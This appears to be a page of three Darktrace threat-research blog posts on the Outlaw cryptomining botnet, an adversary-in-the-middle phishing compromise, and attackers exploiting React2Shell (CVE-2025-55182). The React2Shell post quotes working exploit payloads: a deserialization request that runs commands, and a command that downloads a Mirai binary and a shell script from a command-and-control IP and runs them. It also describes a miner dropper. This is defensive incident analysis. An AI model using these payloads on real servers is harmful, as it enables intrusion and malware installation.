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October 10, 2021

AI Uncovered Outlaw's Crypto Mining Operation

Discover how Darktrace AI technology exposed a hidden cryptocurrency mining scheme. Learn about the power of Darktrace AI in cybersecurity.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Oakley Cox
Director of Product
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10
Oct 2021

Infamy is a paradoxical calling for cyber-criminals. While for some, bragging rights are a motivation for cyber-crime in and of themselves, notoriety is usually not a sensible goal for those hoping to avoid detection. This is what threat actors behind the prolific Emotet botnet learned earlier in 2021, for instance, when a coordinated effort was launched by eight national law enforcement agencies to take down their operation. There are, however, certain names which appear again and again in cyber security media and consistently avoid detection – names like Outlaw.

How Outlaw plans an ambush

Despite being active since 2018, very little is known about the hacking group Outlaw, which has staged numerous botnet and crypto-jacking attacks in China and internationally. The group is recognized by a variety of calling cards, be they repeated filenames or a tendency to illicitly mine Monero cryptocurrency, but its success ultimately lies in its tendency to adapt and evolve during months of dormancy between attacks.

Outlaw’s attacks are marked by constant changes and updates, which they work on in relative silence, before targeting security systems which are too-often defeated by the unfamiliarity of the threat.

In 2020, Outlaw gained attention when they updated their botnet toolset to find and eradicate other criminals’ crypto-jacking software, maximizing their own payout from infected devices. While it might come as no surprise that there’s no honor among cyber-thieves, this update also implemented more troubling changes which allowed Outlaw’s malware to evade traditional security defenses.

By switching disguises between each big robbery, and laying low with the loot, Outlaw ensures that traditional security systems which rely on historical attack data will never be ready for them, no matter how much notoriety is attached to their name. When organizations move beyond these systems’ rules-based approaches, however, adopting Self-Learning AI to protect their digital estates, they can begin to turn the tables on groups like Outlaw.

This blog explores how two pre-infected zombie devices in two very different parts of the world were activated by Outlaw’s botnet in the summer of 2021, and how Darktrace was able to detect the activity despite the devices being pre-infected.

Bounty hunting: First signs of attack

Figure 1: Timeline of the attack.

When a new device was added to the network of a Central American telecomms company in July, Darktrace detected a series of regular connections to two suspicious endpoints which it identified as beaconing behavior. The same behavior was noticed independently, but almost simultaneously, at a financial company in the APAC region, which was implementing Darktrace for the first time. Darktrace’s Self-Learning AI was able to identify the pre-infected devices by clustering similarly-behaving devices into peer groups within the local digital estates and therefore recognize that both were acting unusually based on a range of behaviors.

The first sign that the zombie devices had been activated by Outlaw was the initiation of cryptocurrency mining. Both devices, despite their geographical distance, were discovered to be connected to a single crypto-account, exemplifying the indiscriminate and exponential nature by which a botnet grows.

Outlaw has in the past restricted its activities to devices within China in what was assumed to be a show of caution, but recent activities like this one speak to a growing confidence.

The botnet recruitment process

The subsequent initiation of Internet Relay Chat (IRC) connections across port 443, a port more often associated with HTTPS activity, was perfectly characteristic of the Outlaw botnet’s earlier activity in 2020. IRC is a tool regularly used for communication between botmasters and zombie devices, but by using port 443 the attacker was attempting to blend into normal Internet traffic.

Soon after this exchange, the devices downloaded a shell script. Darktrace’s Cyber AI Analyst was able to intercept and recreate this shell script as it passed through the network, revealing its full function. Intriguingly, the script identified and excluded devices utilizing ARM architecture from the botnet. Due to its notably low battery consumption, ARM architecture is used primarily by portable mobile devices.

This selectivity is evidence that malicious crypto-mining remains Outlaw’s primary objective. By circumventing smaller devices which offer limited crypto-mining capabilities, this shell script focuses the botnet on the most high-powered, and therefore profitable, devices, such as desktop computers and servers. In this way, it reduces the Indicators of Compromise (IOCs) left behind by the wider botnet without greatly affecting the scale of its crypto-mining operation.

The two devices in question did not employ ARM architecture, and minutes later received a secondary payload containing a file named dota3[.]tar[.]gz, a sequel of sorts to the previous incarnation of the Outlaw botnet, ‘dota2’, which itself referenced a popular video game of the same name. With the arrival of this file, the devices appear to have been updated with the latest version of Outlaw’s world-spanning botnet.

This download was made possible in part by the attacker’s use of ‘Living off the Land’ tactics. By using only common Linux programs already present on the devices (‘curl’ and ‘Wget’ respectively), Outlaw had avoided having its activity flagged by traditional security systems. Wget, for instance, is ostensibly a reputable program used for retrieving content from web servers, and was never previously recorded as part of Outlaw’s TTPs (Tactics, Techniques, and Procedures).

By evolving and adapting its approach, Outlaw is continually able to outsmart and outrun rules-based security. Darktrace’s Self-Learning AI, however, kept pace, immediately identifying this Wget connection as suspicious and advising further investigation.

Figure 2: Cyber AI Analyst identifies Wget use on the morning of July 15 as suspicious and begins investigating potentially related HTTP connections made on the morning of July 14. In this way, it builds a complete picture of the attack.

The botnet unchained

In the following 36 hours, Darktrace detected over 6 million TCP and SSH connections directed to rare external IP addresses using ports often associated with SSH, such as 22, 2222, and 2022.

Exactly what the botnet was undertaking with these connections can only be speculated on. The devices may have been made part of a DDoS (Distributed Denial of Service) attack, bruteforce attempts on targeted SSH accounts, or simply have taken up the task of seeking and infecting new targets, further expanding the botnet. Darktrace recognized that neither device had made SSH connections prior to this event and, had Antigena been in active mode, would have enacted measures to stop them.

Figure 3: The behavior on the device before and after the bot was activated on July 14, 2021. The large spike in model breaches shows clear deviation from the established ‘pattern of life’.

Thankfully, the owners of both devices responded to Darktrace’s detection alerts soon enough to prevent any serious damage to their own digital estates. Had these devices remained under the influence of the botnet, the ramifications may have been far graver.

The use of SSH protocol would have allowed Outlaw to pivot into any number of activities, potentially compromising each device’s network further and causing data or monetary loss to their respective organizations.

Call the sheriff: Self-Learning AI

Rules-based security solutions operate much like the ‘wanted’ posters of the old west, looking out for the criminals who came through town last week without preparing for those riding over the hill today. When black hats and outlaws are adopting new looks and employing new techniques with every attack, a new way of responding to threats is needed.

Darktrace doesn’t need to know the name ‘Outlaw’, or the group’s history of evolving attacks, in order to stop them. With its fundamental self-learning approach, Darktrace learns its surroundings from the ground up, and identifies subtle deviations indicative of a cyber-threat. And with Autonomous Response, it will even take targeted action to neutralize the threat at machine speed, without the need for human intervention.

Thanks to Darktrace analyst Jun Qi Wong for his insights on the above threat find.

Learn more about how Cyber AI Analyst sheds light on complex attacks

Technical details

Darktrace model detections

  • Compliance / Crypto Currency Mining Activity
  • Compromise / High Priority Crypto Currency Mining [Enhanced Monitoring]
  • Anomalous Connection / New User Agent to IP Without Hostname
  • Anomalous File / Zip or Gzip from Rare External Location
  • Anomalous Connection / Application Protocol on Uncommon Port
  • Device / Increased External Connectivity
  • Unusual Activity / Unusual External Activity
  • Compromise / SSH Beacon
  • Compromise / High Frequency SSH Beacon
  • Anomalous Connection / Multiple Connections to New External TCP Port

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Oakley Cox
Director of Product

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December 15, 2025

Beyond MFA: Detecting Adversary-in-the-Middle Attacks and Phishing with Darktrace

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What is an Adversary-in-the-middle (AiTM) attack?

Adversary-in-the-Middle (AiTM) attacks are a sophisticated technique often paired with phishing campaigns to steal user credentials. Unlike traditional phishing, which multi-factor authentication (MFA) increasingly mitigates, AiTM attacks leverage reverse proxy servers to intercept authentication tokens and session cookies. This allows attackers to bypass MFA entirely and hijack active sessions, stealthily maintaining access without repeated logins.

This blog examines a real-world incident detected during a Darktrace customer trial, highlighting how Darktrace / EMAILTM and Darktrace / IDENTITYTM identified the emerging compromise in a customer’s email and software-as-a-service (SaaS) environment, tracked its progression, and could have intervened at critical moments to contain the threat had Darktrace’s Autonomous Response capability been enabled.

What does an AiTM attack look like?

Inbound phishing email

Attacks typically begin with a phishing email, often originating from the compromised account of a known contact like a vendor or business partner. These emails will often contain malicious links or attachments leading to fake login pages designed to spoof legitimate login platforms, like Microsoft 365, designed to harvest user credentials.

Proxy-based credential theft and session hijacking

When a user clicks on a malicious link, they are redirected through an attacker-controlled proxy that impersonates legitimate services.  This proxy forwards login requests to Microsoft, making the login page appear legitimate. After the user successfully completes MFA, the attacker captures credentials and session tokens, enabling full account takeover without the need for reauthentication.

Follow-on attacks

Once inside, attackers will typically establish persistence through the creation of email rules or registering OAuth applications. From there, they often act on their objectives, exfiltrating sensitive data and launching additional business email compromise (BEC) campaigns. These campaigns can include fraudulent payment requests to external contacts or internal phishing designed to compromise more accounts and enable lateral movement across the organization.

Darktrace’s detection of an AiTM attack

At the end of September 2025, Darktrace detected one such example of an AiTM attack on the network of a customer trialling Darktrace / EMAIL and Darktrace / IDENTITY.

In this instance, the first indicator of compromise observed by Darktrace was the creation of a malicious email rule on one of the customer’s Office 365 accounts, suggesting the account had likely already been compromised before Darktrace was deployed for the trial.

Darktrace / IDENTITY observed the account creating a new email rule with a randomly generated name, likely to hide its presence from the legitimate account owner. The rule marked all inbound emails as read and deleted them, while ignoring any existing mail rules on the account. This rule was likely intended to conceal any replies to malicious emails the attacker had sent from the legitimate account owner and to facilitate further phishing attempts.

Darktrace’s detection of the anomalous email rule creation.
Figure 1: Darktrace’s detection of the anomalous email rule creation.

Internal and external phishing

Following the creation of the email rule, Darktrace / EMAIL observed a surge of suspicious activity on the user’s account. The account sent emails with subject lines referencing payment information to over 9,000 different external recipients within just one hour. Darktrace also identified that these emails contained a link to an unusual Google Drive endpoint, embedded in the text “download order and invoice”.

Darkrace’s detection of an unusual surge in outbound emails containing suspicious content, shortly following the creation of a new email rule.
Figure 2: Darkrace’s detection of an unusual surge in outbound emails containing suspicious content, shortly following the creation of a new email rule.
Darktrace / EMAIL’s detection of the compromised account sending over 9,000 external phishing emails, containing an unusual Google Drive link.
Figure 3: Darktrace / EMAIL’s detection of the compromised account sending over 9,000 external phishing emails, containing an unusual Google Drive link.

As Darktrace / EMAIL flagged the message with the ‘Compromise Indicators’ tag (Figure 2), it would have been held automatically if the customer had enabled default Data Loss Prevention (DLP) Action Flows in their email environment, preventing any external phishing attempts.

Figure 4: Darktrace / EMAIL’s preview of the email sent by the offending account.
Figure 4: Darktrace / EMAIL’s preview of the email sent by the offending account.

Darktrace analysis revealed that, after clicking the malicious link in the email, recipients would be redirected to a convincing landing page that closely mimicked the customer’s legitimate branding, including authentic imagery and logos, where prompted to download with a PDF named “invoice”.

Figure 5: Download and login prompts presented to recipients after following the malicious email link, shown here in safe view.

After clicking the “Download” button, users would be prompted to enter their company credentials on a page that was likely a credential-harvesting tool, designed to steal corporate login details and enable further compromise of SaaS and email accounts.

Darktrace’s Response

In this case, Darktrace’s Autonomous Response was not fully enabled across the customer’s email or SaaS environments, allowing the compromise to progress,  as observed by Darktrace here.

Despite this, Darktrace / EMAIL’s successful detection of the malicious Google Drive link in the internal phishing emails prompted it to suggest ‘Lock Link’, as a recommended action for the customer’s security team to manually apply. This action would have automatically placed the malicious link behind a warning or screening page blocking users from visiting it.

Autonomous Response suggesting locking the malicious Google Drive link sent in internal phishing emails.
Figure 6: Autonomous Response suggesting locking the malicious Google Drive link sent in internal phishing emails.

Furthermore, if active in the customer’s SaaS environment, Darktrace would likely have been able to mitigate the threat even earlier, at the point of the first unusual activity: the creation of a new email rule. Mitigative actions would have included forcing the user to log out, terminating any active sessions, and disabling the account.

Conclusion

AiTM attacks represent a significant evolution in credential theft techniques, enabling attackers to bypass MFA and hijack active sessions through reverse proxy infrastructure. In the real-world case we explored, Darktrace’s AI-driven detection identified multiple stages of the attack, from anomalous email rule creation to suspicious internal email activity, demonstrating how Autonomous Response could have contained the threat before escalation.

MFA is a critical security measure, but it is no longer a silver bullet. Attackers are increasingly targeting session tokens rather than passwords, exploiting trusted SaaS environments and internal communications to remain undetected. Behavioral AI provides a vital layer of defense by spotting subtle anomalies that traditional tools often miss

Security teams must move beyond static defenses and embrace adaptive, AI-driven solutions that can detect and respond in real time. Regularly review SaaS configurations, enforce conditional access policies, and deploy technologies that understand “normal” behavior to stop attackers before they succeed.

Credit to David Ison (Cyber Analyst), Bertille Pierron (Solutions Engineer), Ryan Traill (Analyst Content Lead)

Appendices

Models

SaaS / Anomalous New Email Rule

Tactic – Technique – Sub-Technique  

Phishing - T1566

Adversary-in-the-Middle - T1557

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December 15, 2025

React2Shell: How Opportunist Attackers Exploited CVE-2025-55182 Within Hours

React2Shell: How Opportunist Attackers Exploited CVE-2025-55182 Within HoursDefault blog imageDefault blog image

What is React2Shell?

CVE-2025-55182, also known as React2Shell is a vulnerability within React server components that allows for an unauthenticated attacker to gain remote code execution with a single request. The severity of this vulnerability and ease of exploitability has led to threat actors opportunistically exploiting it within a matter of days of its public disclosure.

Darktrace security researchers rapidly deployed a new honeypot using the Cloudypots system, allowing for the monitoring of exploitation of the vulnerability in the wild.

Cloudypots is a system that enables virtual instances of vulnerable applications to be deployed in the cloud and monitored for attack. This approach allows for Darktrace to deploy high-interaction, realistic honeypots, that appear as genuine deployments of vulnerable software to attackers.

This blog will explore one such campaign, nicknamed “Nuts & Bolts” based on the naming used in payloads.

Analysis of the React2Shell exploit

The React2Shell exploit relies on an insecure deserialization vulnerability within React Server Components’ “Flight” protocol. This protocol uses a custom serialization scheme that security researchers discovered could be abused to run arbitrary JavaScript by crafting the serialized data in a specific way. This is possible because the framework did not perform proper type checking, allowing an attacker to reference types that can be abused to craft a chain that resolves to an anonymous function, and then invoke it with the desired JavaScript as a promise chain.

This code execution can then be used to load the ‘child_process’ node module and execute any command on the target server.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day [1]. Within 30 hours of the patch, a publicly available proof of concept emerged that could be used to exploit any vulnerable server. This rapid timeline left many servers remaining unpatched by the time attackers began actively exploiting the vulnerability.

Initial access

The threat actor behind the “Nuts & Bolts” campaign uses a spreader server with IP 95.214.52[.]170 to infect victims. The IP appears to be located in Poland and is associated with a hosting provided known as MEVSPACE. The spreader is highly aggressive, launching exploitation attempts, roughly every hour.

When scanning, the spreader primarily targets port 3000, which is the default port for a NEXT.js server in a default or development configuration. It is possible the attacker is avoiding port 80 and 443, as these are more likely to have reverse proxies or WAFs in front of the server, which could disrupt exploitation attempts.

When the spreader finds a new host with port 3000 open, it begins by testing if it is vulnerable to React2Shell by sending a crafted request to run the ‘whoami’ command and store the output in an error digest that is returned to the attacker.

{"then": "$1:proto:then","status": "resolved_model","reason": -1,"value": "{"then":"$B1337"}","_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('(whoami)',{'timeout':120000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:${res}});","_chunks": "$Q2","_formData": {"get": "$1:constructor:constructor"}}}

The above snippet is the core part of the crafted request that performs the execution. This allows the attacker to confirm that the server is vulnerable and fetch the user account under which the NEXT.js process is running, which is useful information for determining if a target is worth attacking.

From here, the attacker then sends an additional request to run the actual payload on the victim server.

{"then": "$1:proto:then","status": "resolved_model","reason": -1,"value": "{"then":"$B1337"}","_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('(cd /dev;(busybox wget -O x86 hxxp://89[.]144.31.18/nuts/x86%7C%7Ccurl -s -o x86 hxxp://89[.]144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q hxxp://89[.]144.31.18/nuts/bolts -O-||wget -q hxxp://89[.]144.31.18/nuts/bolts -O-||curl -s hxxp://89[.]144.31.18/nuts/bolts)%7Csh)&',{'timeout':120000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:${res}});","_chunks": "$Q2","_formData": {"get": "$1:constructor:constructor"}}}

This snippet attempts to deploy several payloads by using wget (or curl if wget fails) into the /dev directory and execute them. The x86 binary is a Mirai variant that does not appear to have any major alterations to regular Mirai. The ‘nuts/bolts’ endpoint returns a bash script, which is then executed. The script includes several log statements throughout its execution to provide visibility into which parts ran successfully. Similar to the ‘whoami’ request, the output is placed in an error digest for the attacker to review.

In this case, the command-and-control (C2) IP, 89[.]144.31.18, is hosted on a different server operated by a German hosting provider named myPrepaidServer, which offers virtual private server (VPS) services and accepts cryptocurrency payments [2].  

Logs observed in the NEXT.JS console as a result of exploitation. In this case, the honeypot was attacked just two minutes after being deployed.
Figure 1: Logs observed in the NEXT.JS console as a result of exploitation. In this case, the honeypot was attacked just two minutes after being deployed.

Nuts & Bolts script

This script’s primary purpose is to prepare the box for a cryptocurrency miner.

The script starts by attempting to terminate any competing cryptocurrency miner processes using ‘pkill’ that match on a specific name. It will check for and terminate:

  • xmrig
  • softirq (this also matches a system process, which it will fail to kill each invocation)
  • watcher
  • /tmp/a.sh
  • health.sh

Following this, the script will checks for a process named “fghgf”. If it is not running, it will retrieve hxxp://89[.]144.31.18/nuts/lc and write it to /dev/ijnegrrinje.json, as well as retrieving hxxp://89[.]144.31.18/nuts/x and writing it to /dev/fghgf. The script will the executes /dev/fghgf -c /dev/ijnegrrinje.json -B in the background, which is an XMRig miner.

The XMRig deployment script.
Figure 2: The XMRig deployment script.

The miner is configured to connect to two private pools at 37[.]114.37.94 and 37[.]114.37.82, using  “poop” as both the username and password. The use of a private pool conceals the associated wallet address. From here, a short bash script is dropped to /dev/stink.sh. This script continuously crawls all running processes on the system and reads their /proc/pid/exe path, which contains a copy of the original executable that was run. The ‘strings’ utility is run to output all valid ASCII strings found within the data and checks to see if contains either “xmrig”, “rondo” or “UPX 5”. If so, it sends a SIGKILL to the process to terminate it.

Additionally, it will run ‘ls –l’ on the exe path in case it is symlinked to a specific path or has been deleted. If the output contains any of the following strings, the script sends a SIGKILL to terminate the program:

  • (deleted) - Indicates that the original executable was deleted from the disk, a common tactic used by malware to evade detection.
  • xmrig
  • hash
  • watcher
  • /dev/a
  • softirq
  • rondo
  • UPX 5.02
 The killer loop and the dropper. In this case ${R}/${K} resolves to /dev/stink.sh.
Figure 3: The killer loop and the dropper. In this case ${R}/${K} resolves to /dev/stink.sh.

Darktrace observations in customer environments  

Following the public disclosure of CVE‑2025‑55182 on December, Darktrace observed multiple exploitation attempts across customer environments beginning around December 4. Darktrace triage identified a series of consistent indicators of compromise (IoCs). By consolidating indicators across multiple deployments and repeat infrastructure clusters, Darktrace identified a consistent kill chain involving shell‑script downloads and HTTP beaconing.

In one example, on December 5, Darktrace observed external connections to malicious IoC endpoints (172.245.5[.]61:38085, 5.255.121[.]141, 193.34.213[.]15), followed by additional connections to other potentially malicious endpoint. These appeared related to the IoCs detailed above, as one suspicious IP address shared the same ASN. After this suspicious external connectivity, Darktrace observed cryptomining-related activity. A few hours later, the device initiated potential lateral movement activity, attempting SMB and RDP sessions with other internal devices on the network. These chain of events appear to identify this activity to be related to the malicious campaign of the exploitation of React2Shell vulnerability.

Generally, outbound HTTP traffic was observed to ports in the range of 3000–3011, most notably port 3001. Requests frequently originated from scripted tools, with user agents such as curl/7.76.1, curl/8.5.0, Wget/1.21.4, and other generic HTTP signatures. The URIs associated with these requests included paths like /nuts/x86 and /n2/x86, as well as long, randomized shell script names such as /gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh. In some cases, parameterized loaders were observed, using query strings like: /?h=<ip>&p=<port>&t=<proto>&a=l64&stage=true.  

Infrastructure analysis revealed repeated callbacks to IP-only hosts linked to ASN AS200593 (Prospero OOO), a well-known “bulletproof” hosting provider often utilized by cyber criminals [3], including addresses such as 193.24.123[.]68:3001 and 91.215.85[.]42:3000, alongside other nodes hosting payloads and staging content.

Darktrace model coverage

Darktrace model coverage consistently highlighted behaviors indicative of exploitation. Among the most frequent detections were anomalous server activity on new, non-standard ports and HTTP requests posted to IP addresses without hostnames, often using uncommon application protocols. Models also flagged the appearance of new user agents such as curl and wget originating from internet-facing systems, representing an unusual deviation from baseline behavior.  

Additionally, observed activity included the download of scripts and executable files from rare external sources, with Darktrace’s Autonomous Response capability intervening to block suspicious transfers, when enabled. Beaconing patterns were another strong signal, with detections for HTTP beaconing to new or rare IP addresses, sustained SSL or HTTP increases, and long-running compromise indicators such as “Beacon for 4 Days” and “Slow Beaconing.”

Conclusion

While this opportunistic campaign to exploit the React2Shell exploit is not particularly sophisticated, it demonstrates that attackers can rapidly prototyping new methods to take advantage of novel vulnerabilities before widespread patching occurs. With a time to infection of only two minutes from the initial deployment of the honeypot, this serves as a clear reminder that patching vulnerabilities as soon as they are released is paramount.

Credit to Nathaniel Bill (Malware Research Engineer), George Kim (Analyst Consulting Lead – AMS), Calum Hall (Technical Content Researcher), Tara Gould (Malware Research Lead, and Signe Zaharka (Principal Cyber Analyst).

Edited by Ryan Traill (Analyst Content Lead)

Appendices

IoCs

Spreader IP - 95[.]214.52.170

C2 IP - 89[.]144.31.18

Mirai hash - 858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb

Xmrig hash - aa6e0f4939135feed4c771e4e4e9c22b6cedceb437628c70a85aeb6f1fe728fa

Config hash - 318320a09de5778af0bf3e4853d270fd2d390e176822dec51e0545e038232666

Monero pool 1 - 37[.]114.37.94

Monero pool 2 - 37[.]114.37.82

References  

[1] https://nvd.nist.gov/vuln/detail/CVE-2025-55182

[2] https://myprepaid-server.com/

[3] https://krebsonsecurity.com/2025/02/notorious-malware-spam-host-prospero-moves-to-kaspersky-lab

Darktrace Model Coverage

Anomalous Connection::Application Protocol on Uncommon Port

Anomalous Connection::New User Agent to IP Without Hostname

Anomalous Connection::Posting HTTP to IP Without Hostname

Anomalous File::Script and EXE from Rare External

Anomalous File::Script from Rare External Location

Anomalous Server Activity::New User Agent from Internet Facing System

Anomalous Server Activity::Rare External from Server

Antigena::Network::External Threat::Antigena Suspicious File Block

Antigena::Network::External Threat::Antigena Watched Domain Block

Compromise::Beacon for 4 Days

Compromise::Beacon to Young Endpoint

Compromise::Beaconing Activity To External Rare

Compromise::High Volume of Connections with Beacon Score

Compromise::HTTP Beaconing to New IP

Compromise::HTTP Beaconing to Rare Destination

Compromise::Large Number of Suspicious Failed Connections

Compromise::Slow Beaconing Activity To External Rare

Compromise::Sustained SSL or HTTP Increase

Device::New User Agent

Device::Threat Indicator

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About the author
Nathaniel Bill
Malware Research Engineer
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